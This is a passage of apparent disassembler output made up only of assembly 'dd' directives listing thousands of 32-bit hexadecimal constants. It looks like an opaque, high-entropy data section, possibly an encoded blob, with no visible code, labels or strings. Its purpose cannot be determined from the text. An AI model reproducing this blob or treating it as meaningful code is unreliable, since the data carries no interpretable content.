		dd 5EAD2370h, 0B4DF6731h, 0ED0F3EEBh, 0BED624BFh, 4D8A115Eh
		dd 721F2E3Fh, 2634DF24h, 6B1E8C0Ch, 8E01CD25h, 6053AA30h
		dd 77C44BB6h, 3B6B72E9h, 86B6FA0h, 8C0B6D8Eh, 633CA10Dh
		dd 4851C68h, 212BE109h,	2F4C7E75h, 5F5332A6h, 4927BE12h
		dd 2137FC6h, 9A56BE28h,	1E3D191Fh, 0F93A7C9Ch, 64B0CB72h
		dd 6443A522h, 46AE3FC8h, 23B046D8h, 351A58B3h, 6653A8B3h
		dd 1957A52Ch, 778B84BDh, 4B95AF69h, 0AD9E9A49h,	2E05744Eh
		dd 47B441B6h, 71E345A4h, 5FB9DFBCh, 0B614D66Bh,	197A2E3Eh
		dd 0F6FFF16h, 0E7E4A4Dh, 0E42A60ECh, 7EE87B7Bh,	28C50B1Bh
		dd 452226FCh, 370621F0h, 6D96E882h, 94632D58h, 882789ADh
		dd 2E0705A6h, 6371055Dh, 2A211406h, 5F7D2C27h, 66281C3Eh
		dd 2C429A9h, 511DD7Ah, 23D11B6Dh, 6E1722B9h, 913005BDh
		dd 3FA05F00h, 1246FA9h,	76EEAC16h, 2D777674h, 313DA64Ah
		dd 19F0B036h, 38A8F4C2h, 3D43F73Ah, 1C243F01h, 145E1E22h
		dd 0D5A87421h, 4FE71ECDh, 86F2ADFh, 395B2F25h, 5933DA67h
		dd 0B8850781h, 860A857Bh, 3D7E530Ch, 0E02FA2EBh, 0F1139222h
		dd 16992EC4h, 0DAC2A27h, 0CD1CCCDAh, 62AA17B8h,	3810BA18h
		dd 751CB33Ch, 303D625Fh, 0EFD10C18h, 0CAB8D148h, 2B7414A1h
		dd 0F4C17FDFh, 6F37DE9Dh, 62FFEA4Eh, 364415B5h,	0AE3A3825h
		dd 3E2E3C4Ah, 6CBE18BBh, 22200B1Eh, 35245292h, 972B2733h
		dd 2D3A2B5Bh, 40FC6D2Dh, 36342432h, 213846ECh, 0D53F3B32h
		dd 1C023F4Fh, 515EE81Eh, 27233821h, 28575B21h, 2F2B2232h
		dd 2C2F5F3Fh, 0E40AFE08h, 380EEE0Ch, 5DB03E5h, 22D307D5h
		dd 0E727ED1Ch, 231BDD19h, 2F1C2525h, 3B102512h,	152E3516h
		dd 9120B2Ch, 371A0F1Ch,	5B3B3902h, 333F3D38h, 0EE1E1C5Bh
		dd 0CDE2023h, 0A93D1320h, 0C031A63Fh, 36A267F9h, 10322F1Ch
		dd 0B9349C39h, 0D221B72Fh, 2FFFFBFAh, 183303B0h, 0C1A9F74Eh
		dd 0DA3CAC7Ch, 2D373FA9h, 2B333B45h, 215F3F41h,	64F62353h
		dd 26285801h, 3D2C5839h, 0C642F41h, 6DF1F64Ch, 0E2CB325Eh
		dd 0EC4D25E7h, 9AC3222Ah, 0C2CEC68h, 0DC3433D5h, 3636D493h
		dd 3A3ADE28h, 1ADDA8D5h, 4E1D1DFCh, 0CB2720E1h,	9527E7A2h
		dd 3F2E28EBh, 2EEC5BC4h, 3033F2B4h, 0F6BF53DCh,	0BA6C7739h
		dd 66D63F3Dh, 235F1D99h, 2273219Eh, 0A500D502h,	9AE2BC1Ah
		dd 1E21592Bh, 361544D0h, 3715F043h, 520DFB6Eh, 563C0CBFh
		dd 0B6BC1ABDh, 0C16B0FF6h, 0E6338328h, 0E2C02507h, 2DDB21CAh
		dd 68F034F6h, 0F67CEBC5h, 8B1DC892h, 6FFC1E23h,	1C49833Eh
		dd 2F38A697h, 2B232D3Ah, 0A8EBEA25h, 2D57C223h,	74D921EDh
		dd 40323A15h, 0D061C63Ch, 67B83B94h, 5BBC2E1Dh,	0EEC61E03h
		dd 2B3239C8h, 385B2632h, 772A222Bh, 292E32C5h, 20CB147Fh
		dd 0B425CEFCh, 9A22D53Ch, 0B469CC97h, 1E1C485Dh, 56F3A40Bh
		dd 269AF1Fh, 7EA22027h,	2E47280Fh, 6060302Eh, 0BA20CB63h
		dd 3B3B3AEBh, 0BB311A3Bh, 941E6FF6h, 79211E1Ch,	51E4A62Bh
		dd 28289723h, 2C2C27E8h, 30743AD1h, 6092D32h, 363A3711h
		dd 3CFC51AEh, 0B0640D2Fh, 17AB290Dh, 0E80A929Dh, 1F07F212h
		dd 1BDB1DF5h, 8030798h,	80B06B1h, 740F720Dh, 0B09B1005h
		dd 8707AA05h, 0A0B2640Ch, 998260Ah, 0D550F5Bh, 12E610ECh
		dd 0F317E9F8h, 0ADEB490h, 481C4A3Ch, 11457E12h,	3B2F1743h
		dd 9B0C615Ah, 8DC9220Eh, 0AB753923h, 7A258864h,	0ECD139D4h
		dd 39B13C0Bh, 22B074B9h, 0B9357802h, 0D7C38FEh,	9D329BACh
		dd 21DF1D1Ah, 0A53ACB22h, 6CA33F23h, 0AC2A6B2Eh, 0CECE0D15h
		dd 0FC07CC32h, 663C74BCh, 3D2C3B64h, 1C13B53Fh,	0AB119615h
		dd 18CBEC21h, 0A1D8DBD2h, 0EB2FEA6Fh, 342F266Bh, 7038EE31h
		dd 0BB773B34h, 78B636D5h, 1ABD3E19h, 0F74E591Ch, 23DFD9FDh
		dd 73AB6583h, 797B210Ch, 2ED7652Dh, 32323F30h, 271279B9h
		dd 513E2B68h, 7F1B657Ch, 1ADF7031h, 2A3028DFh, 0E7743CE0h
		dd 0EAC5AB20h, 0E025AA23h, 3D78F128h, 6E743BE0h, 3BCFD053h
		dd 3C63FA69h, 4B10021Eh, 0C911942Eh, 251FE33Eh,	2FA12F28h
		dd 751A2D1Ah, 35147B36h, 633432B9h, 2339FE05h, 9CE3395Bh
		dd 1A3A223Dh, 259E57BCh, 24A33245h, 28A735ABh, 0AC300044h
		dd 3D6E022Dh, 353A722Fh
		dd 38B693F6h, 703BBBEEh, 113FBE23h, 0AB3419FDh,	0C28621A1h
		dd 32473720h, 6BAA3F3Bh, 2F91252Ch, 23B3C434h, 6FDE411Eh
		dd 0F5B13438h, 0C0CC723Dh, 57F51C1Bh, 0E6212E1Eh, 9C08E629h
		dd 0C27AA826h, 0D1D3D269h, 163174D9h, 3F41353Bh, 0BAF4D061h
		dd 3F3D3E77h, 1D18DFBCh, 25E26F93h, 0DAB2222h, 51285527h
		dd 552D68CAh, 0DDB3592Dh, 37346002h, 263828FAh,	223C243Ah
		dd 0E31B203Eh, 20001E02h, 242C223Eh, 2828262Ah,	2C242A26h
		dd 3F2F21D2h, 3B333D31h, 37373935h, 333B3539h, 1B30C13Dh
		dd 1F111D13h, 232D212Fh, 2729252Bh, 24D52927h, 202E222Ch
		dd 73273E30h, 767117Eh,	7ED7AA2Eh, 8323B6Fh, 0CC2EF80Dh
		dd 0DAE3362Eh, 159DCC71h, 173F1720h, 213C833Dh,	323E972Fh
		dd 4E2F343Ch, 29496F61h, 3A4A5D40h, 6A3C6E4Bh, 7F7F196Bh
		dd 7EE44B11h, 4863F2E5h, 0AB3D3B39h, 481977Dh, 0F3068Eh
		dd 0CC0D37F8h, 1A0A350Fh, 2A1BB908h, 1683288Ch,	24921482h
		dd 0EA119A13h, 0C21DFF1Fh, 70E182Dh, 36B050Ch, 8B0036AFh
		dd 730CD80Eh, 233F5B05h, 260E2562h, 22781819h, 1E9E6444h
		dd 12F810EDh, 2E0D2D23h, 1F1B7007h, 1E7A0CDCh, 799FAAB6h
		dd 0B7BE8515h, 37965CF3h, 1722A0B1h, 0A63103A2h, 79292738h
		dd 0A6909B2h, 215B4807h, 36F176F2h, 28D11522h, 0FA713DF3h
		dd 333A9F6Bh, 0C908D795h, 22EBBC7h, 0A70F2675h,	0CD2B2089h
		dd 0F4C71739h, 6F331208h, 0C93F13DEh, 3C5C3F1Fh, 0C1F1A46h
		dd 229B8E4Bh, 0A18B38E1h, 2AA71627h, 0AC13442Ch, 35614D2Dh
		dd 35327A30h, 13673DF5h, 1FFB3AD8h, 7B3C3B65h, 1F3A1599h
		dd 0DB2A22F8h, 2FA73381h, 3B4368B0h, 372EAD7Dh,	2759D025h
		dd 572A5ED7h, 2EC51938h, 397E1176h, 0C1C5C7Dh, 76958294h
		dd 4C350003h, 0E5087A37h, 6F283C3Fh, 31F118E6h,	2841F4B6h
		dd 9AB772BCh, 595E6D38h, 93C4061h, 32D43E36h, 0B3AFE016h
		dd 3CD741B6h, 0A439390Ah, 44DC1768h, 0A163633Fh, 2C18F776h
		dd 3A931DBAh, 8F1B31B9h, 15326A30h, 4467757Dh, 29D9A622h
		dd 6AA0345Dh, 0C22EBC25h, 0F3321092h, 3BAB8673h, 0EA3E4B14h
		dd 1A3A110Dh, 1F1113B3h, 0DA752123h, 503C7122h,	2BAA759Ah
		dd 5DEC8BEEh, 91FA7DE2h, 0CB51118h, 5D743969h, 2DC73D6Dh
		dd 7A1D4D52h, 0DD2211E4h, 3C27C4B2h, 2A697375h,	389C8CCEh
		dd 0D934A125h, 402A7616h, 0B95834A5h, 54913D5Bh, 0E7B49AAh
		dd 0B3721EDFh, 7863E6Ch, 6E36722Ch, 9C458DC2h, 8F3A0709h
		dd 467D37BFh, 0C9C534EEh, 3DDCDA33h, 5494763Ah,	2A6E1462h
		dd 6CE52B85h, 61253851h, 5DC7C279h, 18662622h, 4F3ADA78h
		dd 5D16413Fh, 4E58FD87h, 51763B09h, 5F1FDCF4h, 63492B58h
		dd 484297A7h, 0B4F47B4h, 0CD2CCCE2h, 0D251119Ah, 25D76E33h
		dd 58499FBBh, 4A3BBC3Fh, 6E790EDBh, 4D42456Ch, 3745FF63h
		dd 0AF2821C6h, 4E492F4Eh, 505A592Ch, 6E36F41Ch,	1331381Eh
		dd 5D729C3Dh, 251A0CFBh, 0EA997B6Bh, 2862B5A6h,	0C2159AFh
		dd 0A98A22A9h, 0B14EA627h, 396B223Bh, 9BCF468h,	686F0A34h
		dd 971B6868h, 0AB0B3A61h, 24DCA7D0h, 0E1A47A51h, 0DEEB19D6h
		dd 0AF802Fh, 0B17AE3C6h, 0D13DBDF5h, 0B8601FB8h, 1962B318h
		dd 0F4E6394Fh, 0A5119722h, 70009D31h, 35AAAFE8h, 6230AE74h
		dd 336164D1h, 9C28BD27h, 1B1F6969h, 52389E69h, 0DE1B1AB8h
		dd 248A3C1Bh, 208D2F57h, 0EAC00D61h, 0A1A07C58h, 3131A4ADh
		dd 363232D0h, 0D067DA32h, 0DE078A3Dh, 26443E39h, 1D3724A7h
		dd 0ED241F77h, 4F152B1Ah, 25114617h, 0C1531283h, 480B4402h
		dd 69A1F09h, 0ED316BE6h, 1F1B9BEEh, 0E2F3D1Dh, 45136111h
		dd 185D2615h, 1CE91A9Eh, 0BB2F1F6Eh, 2E02E100h,	38055207h
		dd 0F30093Dh, 143F0D2Dh, 751E141Ch, 2EE2399h, 43D94F24h
		dd 2B2E2989h, 6C9BB444h, 8B623030h, 37408134h, 1EB35D3Ah
		dd 0D73A3D3Ch, 1E1C21EAh, 7761731Eh, 291AF75h, 0A10128F7h
		dd 0A77AF52Bh, 0BF251473h, 0BB4B344Dh, 0A73530BCh, 5FF73D3Bh
		dd 9D961E01h, 29303B1Eh, 0C31F21A3h, 4DAE2CA7h,	1C2C8A03h
		dd 7D320EC3h, 16732FB0h, 0CB20D67Fh, 303D5A77h,	0B41EFF93h
		dd 0E31ADC34h, 0EA21231Eh, 757E11C7h, 0F82B8B60h, 0FF2F8F5Dh
		dd 5E339368h, 38965BA7h, 49FB0E1Ch, 16390C37h, 8DF9397h
		dd 766AC20h, 0CF777528h, 2AEBE142h, 2029ED2Ch, 7435B7A5h
		dd 0A106C6FEh, 0B50220F0h, 303424FDh, 87C0719h,	2234C27Ch
		dd 77773034h, 3C473E58h, 58ED2A9Dh, 4673AF39h, 0BD623C17h
		dd 663DC127h, 0F6392D4Eh, 26A193Dh, 30519E1Ah, 2709DB26h
		dd 2D377124h, 6CDA2F3Ah, 5C2C077Ah, 3A023133h, 503A3734h
		dd 28B8622Ah, 18DBB46Dh, 85570B99h, 19CA6121h, 70AF2680h
		dd 2C8E18C0h, 0B108C740h, 466B4036h, 38C9E930h,	3C1B3B39h
		dd 4E194B3Fh, 9F0933F4h, 6114E119h, 4AA770E9h, 797A7E7Eh
		dd 6FBEAEC4h, 3A77C13Ch, 0C105B55Eh, 360D3DFEh,	7933757Ah
		dd 0BF5D9EFFh, 67AA6719h, 62752280h, 2C8378CFh,	0AFDB1F7Ch
		dd 0B8397621h, 6C013F37h, 0B8366437h, 0C1C05C11h, 1C3190C0h
		dd 3D801FCEh, 3C4C7362h, 2B2A2626h, 0ED0843B2h,	59102F75h
		dd 0F2C43330h, 91C2772h, 383C3F3Ah, 741BBF12h, 0A0CAE11Eh
		dd 59263E0Eh, 19762925h, 5043512Dh, 32372E47h, 0D8B03D56h
		dd 68733725h, 3C1F76B4h, 2CCB5631h, 4E1F1D58h, 0DC6F2561h
		dd 25FDD531h, 2B26EA28h, 270A79A1h, 0FDB9EA03h,	68326726h
		dd 643340E6h, 382EF9BFh, 1E107E03h, 1176151Fh, 2463AFDCh
		dd 111B2C2Eh, 7E2458ECh, 8A5134C7h, 3671397Bh, 1BD039B7h
		dd 0F2C2C386h, 1D5D1B2Ah, 25E19CDEh, 53271BCBh,	1BE937A5h
		dd 392906C3h, 9A12C64Eh, 89359137h, 3F843E22h, 3FA4873Bh
		dd 0A0DA9B82h, 44C7A202h, 26CB0C21h, 23B4B00Bh,	940B2E07h
		dd 0D1660E2Ch, 10AB5A30h, 0DA3ABD34h, 0DE024639h, 0BA1F9D03h
		dd 6E1F2DBDh, 62068222h, 0EEA32564h, 0AA12AD27h, 8E6F3828h
		dd 3CE0B431h, 37E61FB0h, 34FA69BDh, 761F1FB8h, 9A799C4Fh
		dd 8215040Bh, 42A67623h, 0BFF8D777h, 0A592DEAh,	730AD827h
		dd 8B77AA1h, 3A2D4737h,	0FC55D43Fh, 94D85AA2h, 3BC81E0Ah
		dd 31B5EB87h, 4FC02536h, 39B5E398h, 7CB6C72Dh, 94F08170h
		dd 0F0D03322h, 292C92F3h, 0D59AD73Bh, 0C8190AACh, 8DE180A7h
		dd 2F339C20h, 44679BC1h, 0B6CD80E1h, 95BFB93Bh,	6B173496h
		dd 0C49ED268h, 13FB9F1Dh, 201D7523h, 0BA223E1Fh, 0B6625736h
		dd 23A17E38h, 5F360990h, 46C4B430h, 0C8B53504h,	0B83F4D3Ch
		dd 4A7E3EC3h, 3A99973Dh, 4A20603Fh, 0F67004DFh,	0CA231B2Dh
		dd 0E5122A09h, 6529130Dh, 3A1140BAh, 0BAE7D033h, 3A73B129h
		dd 7BB677D7h, 61121FFFh, 30643B37h, 6D29857Ah, 2C8CED4Ah
		dd 0B07FC72Fh, 0BB3C8D33h, 24183436h, 0F2B76B31h, 199FFFh
		dd 4AFCF61Fh, 25423F61h, 4FCF664Ch, 0D4A02C28h,	0CFAA292Dh
		dd 4005B230h, 0BFCBD1Eh, 0ED3BB1F9h, 0DA2E50B4h, 1FED1FF5h
		dd 0A0E8AA8Bh, 8DD526C5h, 3A6CA208h, 52E61A7h, 63B23866h
		dd 22C96765h, 0BE38E3C4h, 62606244h, 5708B412h,	31211D4Fh
		dd 2365242Bh, 28692453h, 0BF38346Ah, 2B01BE25h,	36852550h
		dd 4A1C2D36h, 3E8E4F39h, 11D7A3Dh, 7E207D73h, 7A565641h
		dd 2950464Bh, 2FB0292Ah, 43424A5Eh, 24B45CE8h, 8D3EE68Ah
		dd 3F5CF33Ah, 72393F9Eh
		dd 22AD3B9Dh, 5122F752h, 6EBFAD29h, 132B6A2Dh, 14901B2Fh
		dd 35B2B331h, 2879BB3Dh, 3C76D268h, 633F3FB8h, 0E08A69DCh
		dd 33F84535h, 1FAD2426h, 9375322Ah, 2C2E4D3Ah, 38A2F26Eh
		dd 0BC362AF3h, 3A1E7D3Ch, 3FB52F70h, 0E19D761Ah, 133A2894h
		dd 8AE61E0Fh, 76B2D53h,	0E6952EBBh, 30019C03h, 62260696h
		dd 114C3637h, 0AE6831FFh, 10D94E2Dh, 34334E54h,	0E0762EE1h
		dd 9BF792Bh, 7921EB1Eh,	33D1056Ch, 21AE2F93h, 3B2A0874h
		dd 315FD22Ah, 909722C9h, 6FEFC239h, 0B46C5A61h,	0C869DE70h
		dd 2C3B6459h, 7D5F6E08h, 78C37741h, 0E87B4695h,	9FDAD602h
		dd 2B035221h, 3B8B6AB8h, 0B4E45184h, 1B7AD900h,	840EB638h
		dd 1762E35Bh, 265A47D0h, 0D7AE4354h, 1E6AF14Dh,	6E2A03C4h
		dd 67DA2FBh, 230418F5h,	2C099177h, 525929A6h, 46A72DAEh
		dd 73C31C9Bh, 56116005h, 46633942h, 4FE710AFh, 6D8E9A3Eh
		dd 5BC9082Ch, 350E9EECh, 2927B5A9h, 21B82B25h, 1FAD9936h
		dd 312A0324h, 396822B5h, 2B371B32h, 0CF21FF33h,	0E99B0068h
		dd 0AE355621h, 76AD2775h, 2FE92B28h, 32EFAD23h,	3431F4B2h
		dd 0E442FFB1h, 39D0FA0Ah, 98FF259Dh, 85EE2C4h, 314217Dh
		dd 62AE2F25h, 3B0DE929h, 7166AD73h, 1776B86Dh, 0DF7FB630h
		dd 3B261D7Ch, 0BD2BFB71h, 0BE63BC00h, 0B273EB1Fh, 0F9532463h
		dd 48482867h, 0E1E7E039h, 0E3C6329Eh, 0B4E4C609h, 9E700932h
		dd 3D8C5B43h, 1C1D351Ch, 75408EB0h, 2585E9ABh, 264F0522h
		dd 0BF461988h, 44309E61h, 5535F3B3h, 0AB15F56Eh, 0F3316A39h
		dd 1CDCFE35h, 0C02F0A1Ch, 0E1222262h, 7E2F6B31h, 0C4DAAAA2h
		dd 0CFD05C64h, 7461F2C7h, 6E3E4234h, 1D3F37D1h,	45F93AB6h
		dd 944B938Fh, 2BDD4BCCh, 27ACD54Ch, 2B8B4D3Dh, 4B7E2D28h
		dd 373214B9h, 613E6665h, 0E33AFE6Fh, 4BFEB8C3h,	1EE24A0Dh
		dd 20FDA80Ah, 7B7B7B22h, 71E91A27h, 2601E8AAh, 0F033302Fh
		dd 0BD343437h, 3A38B40Ah, 3F3D566Fh, 4D741955h,	21644C1Eh
		dd 0F2DB7523h, 0D6C27ABh, 960A63Ah, 30317F1Eh, 6435331Eh
		dd 0DBB9365Ch, 0AE6D3B7Ah, 30B3D7Fh, 3F0F22C9h,	0CE77772h
		dd 18156861h, 286AA0A7h, 6043939Dh, 81776BBh, 48053645h
		dd 0FC2A0A3Ah, 1955141Fh, 752A2F1Ch, 8A20C24h, 71E85BCh
		dd 698A6029h, 9F2B7D7Fh, 2F10CD33h, 69166B38h, 0FAB13BB1h
		dd 3782FC3Dh, 6E942C92h, 9E06A91Bh, 1422CB68h, 5A7F2CABh
		dd 0AA59E53Ch, 0AD30BB39h, 7BC6423h, 648728DFh,	35E290C9h
		dd 9FBC78B4h, 802FBDCCh, 21845E25h, 8CCF621h, 0D248D94Eh
		dd 13342029h, 6A06B868h, 38B83F90h, 593E1B74h, 725E9E3Bh
		dd 772D510Eh, 0A52E2321h, 49642756h, 404E4947h,	32BF2F87h
		dd 761627Ch, 0CF373A33h, 0EC79CC57h, 1F1A1A0Ah,	0D4A132Fh
		dd 394220C3h, 264C2002h, 787A38D9h, 6B0021CCh, 32467D7Ch
		dd 1C374107h, 4F19384Ch, 0CB25973Dh, 1EE90F1Bh,	2121D414h
		dd 0DD6124D7h, 0BE29597Ah, 2E5FDFC2h, 0D9D8A4F3h, 46D63447h
		dd 0E8818037h, 8DA62037h, 1D1317E0h, 25655EA1h,	1B943272h
		dd 0E935CF77h, 25E8A804h, 6116ECFEh, 5534C363h,	6F793637h
		dd 6FF2B03Eh, 0CC1A33D6h, 0A9DF2D02h, 62AA2667h, 63792EF9h
		dd 62204562h, 36FF2A27h, 0BE213841h, 36BF0614h,	0B64C3FA9h
		dd 0DBC0BCC3h, 1758DA18h, 40022520h, 6E22E7F8h,	3210623h
		dd 0AC4F9C27h, 0DB646337h, 114E75EBh, 8B862D3Dh, 803B1A3Dh
		dd 0AE1D0337h, 8D613C2Dh, 26DA9D23h, 7FE91B24h,	4E7A2E7Dh
		dd 99C2199Dh, 0B69F9F55h, 39391B8Eh, 0BF77AC85h, 396093B1h
		dd 980BBE36h, 24845643h, 47C0830Eh, 0F9E82CAh, 14F1275Ch
		dd 16D2EBB8h, 0C70B374Fh, 49E7BFC5h, 0FA1F9F77h, 0A4109E65h
		dd 4C2C56E1h, 2906A207h, 8CA6EA90h, 0E151C62Dh,	1B937A51h
		dd 6734734Ch, 3F7F3B18h, 3DF5F2Bh, 9F6E1C58h, 0E5234B56h
		dd 87B220A0h, 76A22B7Dh, 0E92F2D2Ch, 322A1574h,	0BC7B354Ah
		dd 4FC102C5h, 633E057Bh, 5F69043Fh, 2B4CF1F7h, 1E510222h
		dd 793975A7h, 79252D41h, 3A32F5C7h, 1869BC8Ah, 3DB33937h
		dd 36493607h, 69113303h, 290D1F1Ah, 0ADDB2BA2h,	2628A725h
		dd 222C242Ah, 313FD02Eh, 353B333Dh, 39373739h, 3D333B35h
		dd 0A6963F31h, 4B6ED1D9h, 0C8A0E696h, 392F665h,	0AD2B1458h
		dd 89CAE25h, 0F4002EE1h, 3C363674h, 301F7EB0h, 52331BADh
		dd 4E0E1D6Ch, 713A2160h, 25D52564h, 2B268638h, 2D98B02Ch
		dd 0BE3233FCh, 19DF2979h, 0C4C6B94Fh, 0D63A70B1h, 1E251C3Dh
		dd 0CBCD6D94h, 0D9D95E53h, 2AC99027h, 2F2D682Ah, 0FEE700C6h
		dd 9236CBCCh, 77B23832h, 0C0D4CC6Bh, 3D981B49h,	2A965F1Ch
		dd 900632Ch, 951DAC2Eh,	16347208h, 37F85AEDh, 2144E5CDh
		dd 3CB80E22h, 2D563B8Eh, 0A8173F8Eh, 22FF121Dh,	34212070h
		dd 54ACF0DAh, 87F2AF9h,	0D0EEA63Dh, 10263239h, 38B7F136h
		dd 0CDF93935h, 453FBC34h, 211A9443h, 0AE7200EDh, 4F3A0168h
		dd 954B283Ch, 0A4F9D27Dh, 76061584h, 171209C7h,	81D26B8Bh
		dd 0B426568Eh, 1A043F1Bh, 3E04304Ch, 8143C4Bh, 0FDD67837h
		dd 6293C7Dh, 63790245h,	34F0BADBh, 3E390343h, 3C7DAD2Bh
		dd 3D4C492Bh, 0E14B77A5h, 5A099305h, 791E80C6h,	1D22AB2Dh
		dd 91AF6FB5h, 284462Ch,	0F4B3AD56h, 51267A5Ah, 4C98414Eh
		dd 0C1A1E21h, 2434DAAAh, 58473624h, 3E5BE26Bh, 1C20D1A8h
		dd 310300B5h, 19403295h, 7474B73Ch, 9A51D623h, 9CDB751Ch
		dd 0D021A1C1h, 0A2E07A80h, 3B2F0923h, 0EBAF7072h, 37F023F1h
		dd 8373334h, 6D3A3522h,	0EFD6CCB7h, 0E1E3620Bh,	237CE0E9h
		dd 70052D57h, 2BEFD5CFh, 2AE9182Bh, 30649088h, 0BC3F1A39h
		dd 0FD2F79B6h, 0BA3D23B8h, 122B6EFFh, 0C13A4A1Dh, 0EDC1CB29h
		dd 0ADD7DA66h, 9C295EEAh, 0BA10EC27h, 3BBF3774h, 728C2C34h
		dd 2927389Bh, 0FEC2C5D6h, 7ABEC811h, 5526D2E2h,	0A131AF23h
		dd 0A427CE6Fh, 2270B939h, 3323382Eh, 34267665h,	183E2A68h
		dd 17C0F2FAh, 1B2EED09h, 9FAF26F5h, 2144D500h, 0D82675D9h
		dd 2F2F1D87h, 87288E33h, 66973DD6h, 233C0931h, 1B3AA9B1h
		dd 4F1F0CFFh, 0A92420D8h, 742D621Bh, 39C934F6h,	0FDD22C1Bh
		dd 47F1B52Fh, 0CA63BF0Fh, 1E8570BCh, 0A0331CCFh, 19385F3Fh
		dd 0B601F74Eh, 0D3DB23DCh, 69E83CFEh, 2D202FE8h, 2068282Fh
		dd 3DD8B002h, 1D7C3FBBh, 6D5B3B2Eh, 1C3F73B3h, 0AD15F605h
		dd 0E4A7DDDFh, 28655221h, 2C412E25h, 30BE7F2Ch,	11DB2E36h
		dd 28BC9735h, 3F3B1D39h, 5BD2BA32h, 47DD1D08h, 0A0727C7Bh
		dd 142671C8h, 0A6D6A2E8h, 2FA56D64h, 8398C2E7h,	65619E70h
		dd 516B6838h, 6E3F5714h, 4D481C4Ah, 0E6A2F6E0h,	0E605A177h
		dd 5A1A28E4h, 2A2DBA4Bh, 41146BEFh, 1676146Eh, 295F9AFh
		dd 6CA04F7h, 90255B3Fh,	7819E327h, 1F9A2318h, 12641C38h
		dd 0A1041046h, 0A3319815h, 49FA731Eh, 5A1370Ah,	1D007FDh
		dd 55990216h, 1DFE68DDh, 65991D0Fh, 98243260h, 2C532049h
		dd 9F1E56h, 7D022131h, 4D31BF04h, 3127852Ah, 0E4BA2E1Fh
		dd 17951368h, 0E3066DABh, 0E7157A28h, 7B2718A1h, 613F1EF2h
		dd 4FB96664h, 43C952B4h, 0CB13D23h, 0F82B6B3Ch,	5E191C1Ch
		dd 0DD712694h, 74E6FC36h, 1DA02433h, 31AEA0E2h,	0F624CF79h
		dd 1F87B4B2h, 0D210088Fh, 7615802Eh, 0A98C3309h, 0F91FDB39h
		dd 0D94B33E3h, 2D2A2719h
		dd 50CB80Ah, 19323F84h,	0B913F36Eh, 899063A6h, 0ADF02969h
		dd 0BD2BD76Dh, 82E0A4Fh, 7C72820Ch, 788676E7h, 0E80CDA89h
		dd 0F2E3AC1Ch, 0D590D67Eh, 23179B35h, 0B93BDA97h, 1E1A9610h
		dd 751B3CCCh, 0C02705F8h, 2C82000h, 0DB5E092Dh,	3F2B0845h
		dd 2B371180h, 321735B4h, 3BDBE21Bh, 0DE10381Ch,	2738BC1Bh
		dd 28C120FEh, 26C56045h, 39612F02h, 290C600Eh, 323E6557h
		dd 0F9FC26F9h, 3212EA25h, 0EEAD88D3h, 0BC0932CEh, 0A101EF16h
		dd 0F8E23F0h, 0EB5B2C75h, 202F142Ah, 7130EE48h,	0B8331776h
		dd 1A096378h, 0D53FE322h, 0DB107B64h, 0CD30A31h, 0AAF62A8Eh
		dd 498DE2Ch, 9079109h, 325E629Dh, 37331B51h, 20C75442h
		dd 245C3B18h, 0DB4B4A58h, 581F3D09h, 32237565h,	73726D27h
		dd 51B0678h, 25231DACh,	5D5C5E73h, 47376584h, 701A036Dh
		dd 124E5859h, 0CE715D3Fh, 0B32B2D35h, 26640942h, 5E474D40h
		dd 0AA700C11h, 0BB3245EFh, 0F353178h, 314C3D7Ch, 2C49FCBFh
		dd 17BD1B38h, 0AA245E1Eh, 69A207AEh, 8F6A28A6h,	20A54F71h
		dd 0F5CCECEEh, 0F6303366h, 26D2E0EDh, 223C243Ah, 1C04F03Eh
		dd 200C1E02h, 0A238A241h, 0A9C6A645h, 0C479C938h, 0D066DFF0h
		dd 0B00E623Ch, 7898DE17h, 0FCBBBF3Ah, 0E40C3C48h, 1D985174h
		dd 21A1BA22h, 27279A21h, 6380412Bh, 0EAAA2FEAh,	31F23332h
		dd 1D34F370h, 3838FC55h, 0FB7E3FFCh, 9CF55819h,	6A23E349h
		dd 3C50DBA6h, 0C22C0E26h, 3CD35F83h, 0B9FD91D0h, 0D2EB53Eh
		dd 36B346FFh, 7C751D79h, 0E069D81Eh, 68E41DFDh,	0DA24E1ABh
		dd 0B281F03h, 2B2D1B55h, 31914B2Eh, 5DCB5936h, 0F994DC32h
		dd 0B4586B37h, 182B3F1Bh, 0BF29Ch, 8C340331h, 0AB5F2E52h
		dd 1C242927h, 0F4C7EDB9h, 3D331731h, 81F1DE21h,	15BB6739h
		dd 983D3E1Dh, 95141D1Eh, 5F31A13Ch, 0CF2407A4h,	89ECA9FFh
		dd 1B26AD7Ch, 14B165D8h, 32813580h, 3B6B2239h, 26D60D3Dh
		dd 0E11DE3C9h, 212131A6h, 5272E410h, 2B5CA37Bh,	5ADB016Bh
		dd 226FBD7Ah, 367074F4h, 9D16B32h, 3CB6227Bh, 0E2745AC7h
		dd 67AD2D6Bh, 0CD744B36h, 382C6F07h, 0F46C0F6Dh, 6A6D6F70h
		dd 397AB8F1h, 29690FB6h, 10D7D369h, 0DB900E7Ch,	349F2194h
		dd 182724A3h, 418D2BA2h, 0AED427ADh, 2A87E120h,	3437B228h
		dd 7DBEE1CAh, 246EB11Dh, 0E4C5BD3Dh, 19743F69h,	4923614Ah
		dd 1733DA26h, 0B4201C8h, 2D2E2AFCh, 261E10B9h, 0E72331CBh
		dd 0D4D30BB8h, 7F3C3D2Dh, 11084123h, 0CA76A79Ah, 2BA50511h
		dd 0CA0D84ACh, 63A0CF6Ah, 1ED94EFFh, 42B377F3h,	5D989AF7h
		dd 1E33BC0Ah, 1E9C181Fh, 4A307016h, 644B2805h, 0AD2E474Dh
		dd 612A4A6Eh, 5110B50Ah, 0B315EB49h, 56B8E4B3h,	5C63FD39h
		dd 981E5E52h, 531F5CA7h, 1404751h, 0E2080600h, 5F01284Ah
		dd 3A22108Ch, 34FB3245h, 0FA3D3619h, 393D3A79h,	5A4C32B9h
		dd 766A7E7Ch, 7FE24456h, 320E24C4h, 0B903B068h,	1EDD030Eh
		dd 9565018h, 17373650h,	38FE1F39h, 4D363CECh, 0D18E796Fh
		dd 6E2DC937h, 0CE7428C2h, 26C51145h, 0CF7BC404h, 7E19F223h
		dd 75341534h, 6A1A181Fh, 91B8D469h, 7634D552h, 9E2109Eh
		dd 7D37239Fh, 4B83235Ah, 3F04EC23h, 0F1223D2Eh,	67543F23h
		dd 6E982F34h, 573F3B8Ah, 0B62E6E21h, 0E72AA328h, 0F616EF14h
		dd 0DC12F810h, 2C1ED01Ch, 62A182Ch, 220043Dh, 0E16002Fh
		dd 0A0B0C11h, 2DAB08B2h, 281D2BFAh, 1B3816B9h, 26261D46h
